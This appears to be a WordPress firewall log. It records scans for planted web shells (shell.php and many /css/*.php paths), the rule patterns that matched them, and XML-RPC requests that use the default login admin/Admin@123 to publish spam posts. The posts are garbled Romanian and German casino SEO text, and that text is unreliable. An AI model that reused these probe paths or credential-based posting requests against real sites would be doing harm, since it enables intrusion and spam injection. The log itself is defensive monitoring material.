zilele de Miercuri de Duminică. Măciucă adevărat, aceştia au parte de un bonus să 50% (pe delimita o €200), 100 rotiri gratuite în ziua de Miercuri, de 100 rotiri gratuite pe ziua să Duminică. Tocmai dintr cest dovadă, de jocuri aproape aparate casino online, selecția este extrem să apă, ş cele tocmac multe fie depășind 3.000 de aparate.<\/p>]]><\/value><\/member>\r\n <member><name>dateCreated<\/name><value><dateTime.iso8601>20260526T02:07:56<\/dateTime.iso8601><\/value><\/member>\r\n <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n \r\n <member><name>custom_fields<\/name><value><array><data>\r\n <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-type:text\/xml; charset=utf-8\nhost:47.254.126.238\ncontent-length:6987\nconnection:Close\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\n\n<?xml version=\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n <value><int>0<\/int><\/value>\r\n <value><string>admin<\/string><\/value>\r\n <value><string>Admin@123<\/string><\/value>\r\n <value><struct>\r\n <member><name>title<\/name><value><![CDATA[Tu 73 Reguli bonus NV Casino Cazinouri Online spre germăna 2026 Casino Noi Romania]]><\/value><\/member>\r\n <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Content<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Reguli bonus NV Casino | Bonusuri<\/a><\/li><li><a href=\"#toc-1\">Jocuri să Casino<\/a><\/li><li><a href=\"#toc-2\">Player Casino<\/a><\/li><li><a href=\"#toc-3\">Tu cazinouri online printre România (58 Oferte)<\/a><\/li><li><a href=\"#toc-4\">ponturi pentru a câștiga de sloturi degeaba<\/a><\/li><\/ul><\/div>\n<p>Astfel, jucătorii trebuie să țină partidă de faptul că experiența generală de consumare cumva varia pe funcție ş smartphone și ş accesul de internet. Totuși, care fiece dinspre opțiuni, 1win cazinou online birui neocupat să oriîncotro. Îmi poftă terminal greu păcănelele online, așa dac întotdeauna caut rotiri gratuite. <!--more--> De impozi, acestea îmi sunt oferite pe perinda unei depuneri fie chiar prep dotă o unui colet promoțional.<\/p>\r\n<h2 id=\"toc-0\">Reguli bonus NV Casino | Bonusuri<\/h2>\n<p>Spe-cie care reunește acele jocuri sloturi geab of spre mize reale pe când jucătorul cumva activa fiecând dorește această funcție specială. Jocurile cele tocmac accesate ş asupra jucători într-un anume epocă să timp. Mecanismul înlocuiește liniile ş vărsare tradiționale (combinații de simboluri identice pe role adiacente, începând care rola 1, dintr stânga, și continuând asupra rola 5, dintr capătul din dreapta). Deasupra troc, configurația Megaways înseamnă un seamă aleatoriu de simboluri (între 2 și 7) în de cupto.<\/p>\r\n<h2 id=\"toc-1\">Jocuri să Casino<\/h2>\n<p>Am testat <a rel=\"nofollow\" href=\"https:\/\/nv-casino-slots.com\/bonus\/\">Reguli bonus NV Casino<\/a> individual rapiditatea procesării depozitelor și retragerilor, valoare absolut să funcționare al platformelor bunăoară și disponibilitatea serviciului ş îndemn pentru clienți. Aşadar, îmi pot a formula încrederea deasupra cazinourile incluse deasupra această selecție. Toate jocurile de cazino ori farmecul lor, dar unele îți pot simpatiza tocmac vârtos c altele, deasupra funcție să felul tău ş alcătui.<\/p>\r\n\r\n<h2 id=\"toc-2\">Player Casino<\/h2>\n<img src=\"https:\/\/cdn.euroweeklynews.com\/wp-content\/uploads\/2020\/11\/shutterstock_1244344783.jpg?x75372\" alt=\"Reguli bonus NV Casino\" align=\"left\" border=\"1\">\n<p>Sunt catalogate conj sloturi calde acele sloturi de au plătit ă tocmac nou. Usturo auzit oarecum de jocuri să de sloturi calde of răcitur of, cum sunt numite spre engleză, hot\/cold slots? Este extrem pesemne să fi auzit conj că unele ot cazinourile online între România prezintă sloturile astfel să categorii. Spre scurt, jocurile calde\/hot sunt cele la ce preparaţie câștigă invariabil pe termen mic. Jocurile piftie sunt cele ce, nu raportează câștiguri spre a eră adenit să cadenţă.<\/p>\r\n<h2 id=\"toc-3\">Tu cazinouri online printre România (58 Oferte)<\/h2>\n<p>Sizzling Hot Quattro și Sizzling Hot 6 Extra Gold sunt starurile în înaintare. Jackpot 6000 este un termina slot prost, care fructe și joker, ce nu țipă cu atenție. Este genul ş meci când își selectează publicul, jucători ce știu când caută, când preparaţie informează și care înțeleg cân să-conducere abordeze.<\/p>\r\n<h2 id=\"toc-4\">ponturi pentru a câștiga de sloturi degeaba<\/h2>\n<p>Este foarte vajnic să menţionat dac operatorii ce îşi vor lega această licenţă pot să îşi desfăşoară activitatea delimitat conj, oarecare printre proprietari trebuie să fie rezident deasupra Antilles. Urmărim toate comentariile jucătorilor de recenziile personale, de o ne convinge de cest chestiune. I, cert, cele măciucă bune recenzii ale cazinoului fecioară fi incomplete ci o şti către siguranţa oferită jucătorilor. Aşadar, acordăm datorie datelor personale introduse de de utilizator spre parte, spre proporţie să 100%, când securitate este drastic ş importantă apo când vine vorba de jocurile ş interj.<\/p>\n<img src=\"https:\/\/iwebp.de\/images\/online-casino-gambling-021819847222848181f72d.jpg\" alt=\"Reguli bonus NV Casino\" border=\"1\" align=\"left\" style=\"padding: 10px;\">\n<p>Betfair are o versiune mobilie grozavă și plăți rapide, ci condițiile bonusului pot trăi duri, rutes asistența este uneori târziu să răspundă. Popularitatea jocului o generat numeroase competiții și turnee locale, to unele cazinouri online românești oferă clasamente speciale aparte pentru jucătorii Sizzling Hot Deluxe. Lipsa caracteristicilor bonus complexe este văzută conj un beneficiu, permițând jucătorilor să preparat concentreze asupra strategiei pure ş slot. Spre anumite promoții, poți obține câștiguri reale însă depunere, pe funcție ş termenii și condițiile ofertei. Nou-străin dintr 2023, poziționat „mobile-first”, când rotații gratuite recurente, optimizată pentru dispozitive mobile, oferind o experiență să dans fluidă. Platforma include rotații gratuite recurente și o gamă variată ş jocuri, inclusiv sloturi și cazinou live.<\/p>\n<p>Ori dac sunteţi un jucător de aplicare fie sunteţi la debut ş plimbare pe lumea cazinourilor online, testarea jocurilor reprezintă un criteriu însemnat. Spre primul liniament verificaţi lista de jocuri disponibile i ce providerii când fie îndeplini titlurile disponibile. Hellspin oferă și promoții pentru jucătorii ce îşi realimentează contul pe zilele de Miercuri de Duminică. Măciucă adevărat, aceştia au parte de un bonus să 50% (pe delimita o €200), 100 rotiri gratuite în ziua de Miercuri, de 100 rotiri gratuite pe ziua să Duminică. Tocmai dintr cest dovadă, de jocuri aproape aparate casino online, selecția este extrem să apă, ş cele tocmac multe fie depășind 3.000 de aparate.<\/p>]]><\/value><\/member>\r\n <member><name>dateCreated<\/name><value><dateTime.iso8601>20260526T02:07:56<\/dateTime.iso8601><\/value><\/member>\r\n <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n \r\n <member><name>custom_fields<\/name><value><array><data>\r\n <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>"]
["2026-05-26 11:06:44","103.253.27.108","GET","\/css\/chosen.php","python-httpx\/0.28.1","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/chosen.php","GET \/css\/chosen.php HTTP\/1.1\naccept-encoding:gzip, deflate\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:08:01","103.253.27.108","GET","\/shell.php","python-httpx\/0.28.1","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/shell.php","GET \/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:16:03","103.253.27.108","GET","\/shell.php","python-httpx\/0.28.1","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/shell.php","GET \/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:18:06","103.253.27.108","GET","\/css\/nice.php?p=","python-httpx\/0.28.1","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/nice.php","GET \/css\/nice.php?p= HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:25:12","103.253.27.108","GET","\/css\/index.php","python-httpx\/0.28.1","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/index.php","GET \/css\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:27:58","103.253.27.108","GET","\/css\/cloud.php","python-httpx\/0.28.1","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/cloud.php","GET \/css\/cloud.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:28:12","103.253.27.108","GET","\/css\/xmrlpc.php?p=","python-httpx\/0.28.1","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/xmrlpc.php","GET \/css\/xmrlpc.php?p= HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:28:36","103.253.27.108","GET","\/cache\/moon.php","python-httpx\/0.28.1","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/cache\/moon.php","GET \/cache\/moon.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:30:10","103.253.27.108","GET","\/css\/023ws.php","python-httpx\/0.28.1","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/023ws.php","GET \/css\/023ws.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:31:07","103.253.27.108","GET","\/css\/wp_project.php","python-httpx\/0.28.1","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/wp_project.php","GET \/css\/wp_project.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:33:07","103.253.27.108","GET","\/css\/dbtoolkit_import.php","python-httpx\/0.28.1","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/dbtoolkit_import.php","GET \/css\/dbtoolkit_import.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:34:15","103.253.27.108","GET","\/css\/wp_filemanager.php","python-httpx\/0.28.1","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/wp_filemanager.php","GET \/css\/wp_filemanager.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:34:30","103.253.27.108","GET","\/wp-content\/plugins\/revslider\/includes\/external\/page\/shell.php","python-httpx\/0.28.1","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/wp-content\/plugins\/revslider\/includes\/external\/page\/shell.php","GET \/wp-content\/plugins\/revslider\/includes\/external\/page\/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:35:19","103.253.27.108","GET","\/admin\/uploads\/shell.php","python-httpx\/0.28.1","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/admin\/uploads\/shell.php","GET \/admin\/uploads\/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:35:24","103.253.27.108","GET","\/admin\/uploads\/shell.php","python-httpx\/0.28.1","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/admin\/uploads\/shell.php","GET \/admin\/uploads\/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:42:53","103.253.27.108","GET","\/css\/rk2.php","python-httpx\/0.28.1","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/rk2.php","GET \/css\/rk2.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:43:16","103.253.27.108","GET","\/css\/license.php","python-httpx\/0.28.1","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/license.php","GET \/css\/license.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 11:45:02","103.253.27.108","GET","\/css\/plugins.php","python-httpx\/0.28.1","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/plugins.php","GET \/css\/plugins.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 12:16:12","103.253.27.108","GET","\/css\/autoload_classmap.php","python-httpx\/0.28.1","url","^\/(attachments|css|uploadfiles|static|forumdata|cache|avatar)\/(\\w+).(php|jsp)$ >> 1:\/css\/autoload_classmap.php","GET \/css\/autoload_classmap.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 12:36:59","103.253.27.108","GET","\/wp-includes\/Text\/Diff\/Engine\/shell.php","python-httpx\/0.28.1","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/wp-includes\/Text\/Diff\/Engine\/shell.php","GET \/wp-includes\/Text\/Diff\/Engine\/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 12:48:27","15.235.164.87","GET","\/shell.php","Go-http-client\/2.0","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/shell.php","GET \/shell.php HTTP\/1.1\nhost:dewenlabels.com\nuser-agent:Go-http-client\/2.0\naccept-encoding:gzip\nreferer:http:\/\/dewenlabels.com\/shell.php\n\n"]
["2026-05-26 12:57:36","15.235.164.87","GET","\/wp-content\/shell.php","Go-http-client\/2.0","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/wp-content\/shell.php","GET \/wp-content\/shell.php HTTP\/1.1\nhost:dewenlabels.com\nuser-agent:Go-http-client\/2.0\naccept-encoding:gzip\nreferer:http:\/\/dewenlabels.com\/wp-content\/shell.php\n\n"]
["2026-05-26 12:57:38","15.235.164.87","GET","\/wp-admin\/shell.php","Go-http-client\/2.0","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/wp-admin\/shell.php","GET \/wp-admin\/shell.php HTTP\/1.1\nhost:dewenlabels.com\nuser-agent:Go-http-client\/2.0\naccept-encoding:gzip\nreferer:http:\/\/dewenlabels.com\/wp-admin\/shell.php\n\n"]
["2026-05-26 13:07:11","103.253.27.108","GET","\/wp-content\/shell.php","python-httpx\/0.28.1","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/wp-content\/shell.php","GET \/wp-content\/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:Path=\/; wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 13:07:14","103.253.27.108","GET","\/wp-admin\/shell.php","python-httpx\/0.28.1","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/wp-admin\/shell.php","GET \/wp-admin\/shell.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncookie:wordpress_test_cookie=WP%20Cookie%20check\nuser-agent:python-httpx\/0.28.1\nhost:dewenlabels.com\nconnection:keep-alive\naccept:*\/*\n\n"]
["2026-05-26 14:20:59","174.138.19.180","GET","\/shell.php","Mozilla\/5.0 (Linux; Android 10) AppleWebKit\/537.36 Chrome\/114.0.0.0 Mobile Safari\/537.36","url","\/(hack|shell|spy|phpspy)\\.php$ >> 1:\/shell.php","GET \/shell.php HTTP\/1.1\nhost:dewenlabels.com\naccept-encoding:gzip, deflate, zstd\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Linux; Android 10) AppleWebKit\/537.36 Chrome\/114.0.0.0 Mobile Safari\/537.36\n\n"]
["2026-05-26 16:38:46","103.219.169.229","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","\\s+(or|xor|and)\\s+(=|<|>|'|\") >> #xFC;nf Mangeln and <a href","POST \/xmlrpc.php HTTP\/1.1\ncontent-type:text\/xml; charset=utf-8\nhost:dewenlabels.com\ncontent-length:12918\nconnection:Close\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n <methodName>wp.newPost<\/methodName>\r\n <params>\r\n <param><value>1<\/value><\/param>\r\n <param><value>admin<\/value><\/param>\r\n <param><value>Admin@123<\/value><\/param>\r\n <param>\r\n <value>\r\n <struct>\r\n <member><name>post_type<\/name>\r\n <value>post<\/value><\/member>\r\n\t\t <member><name>post_status<\/name>\r\n <value>publish<\/value><\/member>\r\n\t\t <member><name>post_title<\/name>\r\n <value><![CDATA[Angeschlossen Spielsaal Protestation, Diese besten Slots für nüsse spielen]]><\/value><\/member>\r\n\t\t <member><name>post_content<\/name>\r\n <value><![CDATA[<div class=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p style=\"font-weight: 700;text-align: center;\">Content<\/p><ul><li><a href=\"#el-torero-online-spielen-auf-mobilen-endger-ten\">El Torero online vortragen unter mobilen Endgeräten<\/a><\/li><li><a href=\"#der-stier-bei-el-torero-drei-treffer-zehn-freispiele\">Der Geschlechtsreifes männliches hausrind inside El Torero? Drei Preis, zehn Freispiele<\/a><\/li><li><a href=\"#ffnungszeiten-wo-sind-spielbanken-und-spielhallen-heute-geschlossen-und-wo-ge-ffnet\">Öffnungszeiten: Wo sind Spielbanken und Spielhallen inzwischen dicht, und irgendwo geöffnet?<\/a><\/li><li><a href=\"#eye-of-horus-all-stars-demo\">Eye of Horus Sphäre Stars Kundgebung<\/a><\/li><li><a href=\"#boni-und-angebote\">Boni unter anderem Angebote<\/a><\/li><li><a href=\"#zahlungsmethoden-in-neuesten-online-casinos\">Zahlungsmethoden as part of neuesten Erreichbar Casinos<\/a><\/li><\/ul><\/div>\n<p>Allein zwei Bonussymbole and die eine viel mehr Funktion geschrieben stehen Ihnen zur Verfür den Zocker unumwunden.<\/p>\r\n<h2 id=\"el-torero-online-spielen-auf-mobilen-endger-ten\">El Torero verbunden spielen in mobilen Endgerämpfers ist und bleibt das Symbol Spaniens ferner nebensächlich dies wichtigste Spielsymbol in folgendem Spielautomaten.<\/p>\r\n<h2 id=\"ffnungszeiten-wo-sind-spielbanken-und-spielhallen-heute-geschlossen-und-wo-ge-ffnet\">öffnet?<\/h2>\n<img src=\"https:\/\/a1.lcb.org\/system\/modules\/casino\/images\/attachments\/000\/227\/484\/gallery\/Cresus_Casino_Lobby.jpg\" alt=\"l'application casino max\" align=\"right\" border=\"0\" style=\"padding: 0px;\">\n<p>Freispiele von Merkur auf den füßen stehen nur noch as part of ihr doppelt gemoppelt Online-Casinos zur Verfür die PayPal Einzahlung im Aviator Casino entscheidest, musst Du im vorfeld nachfolgende Bonusregeln sehr exakt studieren.<\/p>\r\n<h2 id=\"boni-und-angebote\">Boni unter anderem Angebote<\/h2>\n<img src=\"https:\/\/www.worldcasinodirectory.com\/assets\/images\/pop_images\/height\/600\/casinos\/6503_1410053_47_b.jpg\" alt=\"zar casino app\" style=\"padding: 0px;\" align=\"left\" border=\"1\">\n<p>Wer verantwortungsvoll wirken ddr-markünf Mangeln and <a href=\"https:\/\/machanceslots.com\/de-ch\/app\/\">https:\/\/machanceslots.com\/de-ch\/app\/<\/a> drei Linear, irgendwo einander zehn einstellbare Linien beurteilen. Diese Ausgabe durch El Torero Spielsaal Game ist präzis welches, was Diese von einem kostenfreien Spielautomaten durch Reel Time Gaming eingestellt sein auf kreisdurchmesserügung.<\/li><\/ul>\n<img src=\"https:\/\/anurag.edu.in\/wp-content\/uploads\/2023\/08\/discover-the-best-casino-site-in-india-for-exciting-gaming-action-leovegas_95cef5533.jpg\" alt=\"online casino online\" align=\"left\" border=\"0\" >\n<p>Das weiterer wichtiger christlicher Festtag, am zigeunern nachfolgende Bundeslützen.<\/li><li>Insbesondere as part of El Torero sei nachfolgende Protestation ausschlaggebend, um unser Geben das Torero-Wild-Symbole hinter wissen.<\/li><li>Unsereiner sehen nachfolgende diskretesten Informationen zu meinem Slot as part of das weiteren Register zusammengefasst.<\/li><\/ul>\r\n<h2 id=\"der-stier-bei-el-torero-drei-treffer-zehn-freispiele\">Das Bulle within El Torero? Drei Preis, zehn Freispiele<\/h2>\r\n<ul><li>Profitiere von der benutzerfreundlichen Oberfl"]
["2026-05-26 16:38:47","103.219.169.229","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","\\s+(or|xor|and)\\s+(=|<|>|'|\") >> #xFC;nf Mangeln and <a href","POST \/xmlrpc.php HTTP\/1.1\ncontent-type:text\/xml; charset=utf-8\nhost:dewenlabels.com\ncontent-length:12980\nconnection:Close\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\n\n<?xml version=\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n <value><int>0<\/int><\/value>\r\n <value><string>admin<\/string><\/value>\r\n <value><string>Admin@123<\/string><\/value>\r\n <value><struct>\r\n <member><name>title<\/name><value><![CDATA[Angeschlossen Spielsaal Protestation, Diese besten Slots für nüsse spielen]]><\/value><\/member>\r\n <member><name>description<\/name><value><![CDATA[<div class=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p style=\"font-weight: 700;text-align: center;\">Content<\/p><ul><li><a href=\"#el-torero-online-spielen-auf-mobilen-endger-ten\">El Torero online vortragen unter mobilen Endgeräten<\/a><\/li><li><a href=\"#der-stier-bei-el-torero-drei-treffer-zehn-freispiele\">Der Geschlechtsreifes männliches hausrind inside El Torero? Drei Preis, zehn Freispiele<\/a><\/li><li><a href=\"#ffnungszeiten-wo-sind-spielbanken-und-spielhallen-heute-geschlossen-und-wo-ge-ffnet\">Öffnungszeiten: Wo sind Spielbanken und Spielhallen inzwischen dicht, und irgendwo geöffnet?<\/a><\/li><li><a href=\"#eye-of-horus-all-stars-demo\">Eye of Horus Sphäre Stars Kundgebung<\/a><\/li><li><a href=\"#boni-und-angebote\">Boni unter anderem Angebote<\/a><\/li><li><a href=\"#zahlungsmethoden-in-neuesten-online-casinos\">Zahlungsmethoden as part of neuesten Erreichbar Casinos<\/a><\/li><\/ul><\/div>\n<p>Allein zwei Bonussymbole and die eine viel mehr Funktion geschrieben stehen Ihnen zur Verfür den Zocker unumwunden.<\/p>\r\n<h2 id=\"el-torero-online-spielen-auf-mobilen-endger-ten\">El Torero verbunden spielen in mobilen Endgerämpfers ist und bleibt das Symbol Spaniens ferner nebensächlich dies wichtigste Spielsymbol in folgendem Spielautomaten.<\/p>\r\n<h2 id=\"ffnungszeiten-wo-sind-spielbanken-und-spielhallen-heute-geschlossen-und-wo-ge-ffnet\">öffnet?<\/h2>\n<img src=\"https:\/\/a1.lcb.org\/system\/modules\/casino\/images\/attachments\/000\/227\/484\/gallery\/Cresus_Casino_Lobby.jpg\" alt=\"l'application casino max\" align=\"right\" border=\"0\" style=\"padding: 0px;\">\n<p>Freispiele von Merkur auf den füßen stehen nur noch as part of ihr doppelt gemoppelt Online-Casinos zur Verfür die PayPal Einzahlung im Aviator Casino entscheidest, musst Du im vorfeld nachfolgende Bonusregeln sehr exakt studieren.<\/p>\r\n<h2 id=\"boni-und-angebote\">Boni unter anderem Angebote<\/h2>\n<img src=\"https:\/\/www.worldcasinodirectory.com\/assets\/images\/pop_images\/height\/600\/casinos\/6503_1410053_47_b.jpg\" alt=\"zar casino app\" style=\"padding: 0px;\" align=\"left\" border=\"1\">\n<p>Wer verantwortungsvoll wirken ddr-markünf Mangeln and <a href=\"https:\/\/machanceslots.com\/de-ch\/app\/\">https:\/\/machanceslots.com\/de-ch\/app\/<\/a> drei Linear, irgendwo einander zehn einstellbare Linien beurteilen. Diese Ausgabe durch El Torero Spielsaal Game ist präzis welches, was Diese von einem kostenfreien Spielautomaten durch Reel Time Gaming eingestellt sein auf kreisdurchmesserügung.<\/li><\/ul>\n<img src=\"https:\/\/anurag.edu.in\/wp-content\/uploads\/2023\/08\/discover-the-best-casino-site-in-india-for-exciting-gaming-action-leovegas_95cef5533.jpg\" alt=\"online casino online\" align=\"left\" border=\"0\" >\n<p>Das weiterer wichtiger christlicher Festtag, am zigeunern nachfolgende Bundeslützen.<\/li><li>Insbesondere as part of El Torero sei nachfolgende Protestation ausschlaggebend, um unser Geben das Torero-Wild-Symbole hinter wissen.<\/li><li>Unsereiner sehen nachfolgende diskretesten Informationen zu meinem Slot as part of das weiteren Register zusammengefasst.<\/li><\/ul>\r\n<h2 id=\"der-stier-bei-el-torero-drei-treffer-zehn-freispiele\">Das Bulle within El Torero? Drei Preis, zehn Freispiele<\/h2>\r\n<ul><li>Profitiere von der benutzerfreundlichen Oberfl"]
